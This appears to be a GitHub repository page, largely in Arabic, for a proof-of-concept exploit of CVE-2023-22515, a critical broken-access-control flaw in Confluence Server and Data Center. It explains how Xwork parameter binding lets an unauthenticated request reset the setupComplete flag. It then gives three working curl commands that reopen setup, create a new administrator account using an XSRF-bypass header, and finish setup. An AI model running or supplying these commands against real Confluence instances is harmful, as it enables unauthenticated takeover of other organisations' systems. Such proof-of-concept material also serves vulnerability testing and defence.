j3seer/cve-2023-22515-pocاستغلال إثبات المفهوم لـ CVE-2023-22515، ثغرة التحكم في الوصول المكسور الحرجة في Confluence Server وData Center، مما يتيح الاستيلاء على المسؤول دون مصادقة.
CVE-2023-22515، ثغرة أمنية حرجة تؤثر على الإصدارات المحلية من Confluence Server وConfluence Data Center، وهي ثغرة في التحكم في الوصول المكسور. قدمت Atlassian درجة أساسية من CVSS تبلغ 10.0
1- نظرًا لكيفية قيام معترضات Xwork بتحليل المعاملات /test.action?one=a يساوي setOne()='a' وبدلاً من ذلك /test.action?one.two=a يساوي getOne().setTwo()="a"
2- تشمل نقاط النهاية /setup/* استدعاء @ParameterSafe والذي يسمح لنا باستخدام set و get مثل ، ولكن نظرًا لأن نقاط النهاية محظورة لأن الإعداد مكتمل، يمكن استخدام
/setup/setupdb.action?dbConfigInfo.databaseType=postgresql/setup/*/server-info.action3- ابحث عن طريقة set لإكمال الإعداد => getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
4- استخدم رأس "X-Atlassian-Token" لتجاوز XSRF
curl http://localhost/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&[email protected]&password=leet&confirm=leet&setup-next-button=Next" http://localhost/setup/setupadministrator.action\;
curl -X POST -H "X-Atlassian-Token: no-check" http://localhost/setup/finishsetup.action
إخلاء مسؤولية: لم يتم اكتشاف أو صنع الاستغلال بواسطتي، يعود الفضل للمقالات أدناه.